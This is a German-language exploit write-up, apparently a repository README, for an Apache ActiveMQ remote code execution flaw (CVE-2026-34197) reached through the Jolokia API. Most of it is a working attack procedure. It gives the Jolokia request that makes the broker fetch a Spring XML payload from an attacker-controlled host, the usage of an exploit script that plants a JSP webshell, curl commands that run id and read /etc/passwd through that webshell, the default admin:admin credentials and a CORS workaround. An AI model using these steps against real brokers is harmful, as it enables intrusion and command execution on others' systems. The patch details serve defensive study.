
Apache ActiveMQ RCE über Jolokia Schwachstellenanalyse und Reproduktionsnotizen
| Element | Details |
|---|
| CVE-ID | CVE-2026-34197 |
| CVSS | 8.8 (HOCH) |
| Schwachstellentyp | Remote Code Execution (RCE) |
| CWE | CWE-20 Unzureichende Eingabevalidierung / CWE-94 Code-Injection |
| Betroffene Komponente | Apache ActiveMQ Classic - Jolokia JMX-HTTP-Bridge |
| Betroffene Versionen | < 5.19.4 und 6.0.0 bis 6.2.2 |
| Behobene Versionen | 5.19.4 / 6.2.3 |
| Offenlegungsdatum | 2026-04-07 |
| Authentifizierung | Standardmäßig erforderlich, üblicherweise admin:admin. Versionen 6.0.0-6.1.1 können ohne Authentifizierung erreichbar sein, wenn sie mit CVE-2024-32114 verkettet werden. |
| Entdeckung | Gemeldet als KI-gestützte Forschung von Anthropic Claude, nachdem sie etwa 13 Jahre lang vorhanden war. |
Angreifer
|
|-- 1. POST /api/jolokia/
| BrokerService.addNetworkConnector(String) aufrufen
| Argument: static:(vm://evil?brokerConfig=xbean:http://ANGREIFER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parst die URI. Da vm://evil nicht existiert, versucht ActiveMQ dynamisch einen Broker zu erstellen.
| brokerConfig=xbean:http://ANGREIFER:PORT/shell.xml
|
|-- 3. Das xbean:-Protokoll ruft eine entfernte Spring-XML-Datei über HTTP ab.
|
|-- 4. ResourceXmlApplicationContext parst das XML und instanziiert einen ProcessBuilder-Bean.
| Die init-method="start" wird ausgeführt, bevor die Konfigurationsvalidierung die URI blockiert.
|
`-- 5. Remote-Code-Ausführung wird erreicht.
/api/jolokia/ verfügbar und bietet JMX-over-HTTP-Zugriff.org.apache.activemq:*-Operationen zulässt, einschließlich addNetworkConnector.brokerConfig des vm://-Transports kann auf entfernte Spring-XML verweisen, und die Bean-Instanziierung erfolgt, bevor die Konfiguration abgelehnt wird.ActiveMQ 6.2.3 fügt eine Validierung innerhalb von addNetworkConnector() hinzu, um vm://-Transport-URIs abzulehnen:
"error": "VM scheme is not allowed"
| Element | Details |
|---|---|
| Angreifer-Host | macOS mit OrbStack Docker |
| Ziel-Image | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| Laufzeitbenutzer | amq (uid=33031) |
| Basis-OS | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
Eine status: 200-Antwort bestätigt, dass Jolokia erreichbar ist.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <IHRE_IP> \
--lport 9999
Das Skript führt folgende Aktionen aus:
NetworkConnector namens NC, um wiederholte Tests zuverlässig zu machen.addNetworkConnector-Anfrage, um den verwundbaren Codepfad auszulösen.curl -u admin:admin "http://ZIEL:8161/admin/<zufällig>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://ZIEL:8161/admin/<zufällig>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Ziel ruft ein XML-Payload ab; JSP wird aus Inline-Base64 geschrieben
===============================================================
[*] Generierter zufälliger Webshell-Dateiname: ndkjwpqe.jsp
[*] Schritt 1/5: Überprüfe Jolokia-API...
[+] Jolokia erreichbar - Status 200
[*] Schritt 2/5: Broker-Namen ermitteln...
[!] Verwende Standard-Broker-Namen: localhost
[*] Schritt 3/5: Alten NetworkConnector bereinigen...
[*] Schritt 4/5: Versuche webapps-Pfad: /opt/activemq/webapps/admin
[+] Payload-Server auf :9999 (shell.xml mit Inline-Base64-Webshell)
[+] Ziel hat shell.xml von 192.168.3.107 abgerufen
[+] Jolokia gab 200 zurück - Exploit ausgelöst
[*] Warte darauf, dass Ziel das Payload ausführt...
[+] Ziel hat shell.xml von 192.168.3.107 abgerufen
[*] Schritt 5/5: Überprüfe Webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<Befehl>
[+] RCE-Ausgabe: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| Version | Image | Jolokia-Antwort | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | Erfolgreich als uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | Erfolgreich als uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | Behoben |
addNetworkConnector() registriert einen Connector namens NC. Eine zweite Registrierung schlägt mit einem JMX-Namenskonflikt fehl und gibt einen 500-Fehler zurück. Das Skript behandelt dies, indem es vor dem Auslösen des Exploits removeNetworkConnector("NC") aufruft.
ActiveMQ verwendet eingebettetes Jetty, aber das Webapps-Verzeichnis existiert auf der Festplatte und die JSP-Engine kompiliert neu geschriebene .jsp-Dateien. Dies macht das Schreiben einer Webshell in der getesteten Umgebung möglich.
Das Payload schreibt die JSP mit Inline-Base64:
echo <BASE64_KODIERTE_JSP> | base64 -d > /opt/activemq/webapps/admin/<zufällig>.jsp
Vorteile:
<, >, % und " verursacht werden.Das Ziel muss in der Lage sein, den vom Angreifer kontrollierten HTTP-Server zu erreichen, um das Spring-XML-Payload abzurufen. Wenn das Ziel keine ausgehende Route zum Angreifer hat, kann dieser Exploit-Pfad nicht abgeschlossen werden.
Direkte Jolokia-Anfragen können aufgrund von CORS-Prüfungen 403 zurückgeben. Fügen Sie einen Origin-Header hinzu, der dem Ziel entspricht:
Origin: http://ZIEL:8161
CVE-2026-34197/
|-- README.md # Dieser Bericht
|-- exploit_webshell.py # Einmaliger Webshell-Schreiber mit Inline-Base64 und zufälligem JSP-Dateinamen
`-- upstream-poc/ # Dateikopie von dinosn/CVE-2026-34197
|-- docker-compose.yml # Laborumgebung für ActiveMQ 6.2.1
|-- exploit_poc.py # Ursprüngliches PoC-Skript mit Serve/Exploit/Auto-Modi
`-- serve_payload.py # Einfacher Payload-HTTP-Server
| Skript | Zweck | Erfordert ausgehende Verbindung | Webshell |
|---|---|---|---|
exploit_poc.py | Ursprünglicher blinde-RCE-PoC, der einen beliebigen Befehl ausführt | Erforderlich | Nein |
exploit_webshell.py | Einmaliger reflektierter RCE über eine geschriebene JSP-Webshell | Nur für den XML-Abruf erforderlich | Wird automatisch mit zufälligem Dateinamen geschrieben |
jetty.xml.admin:admin.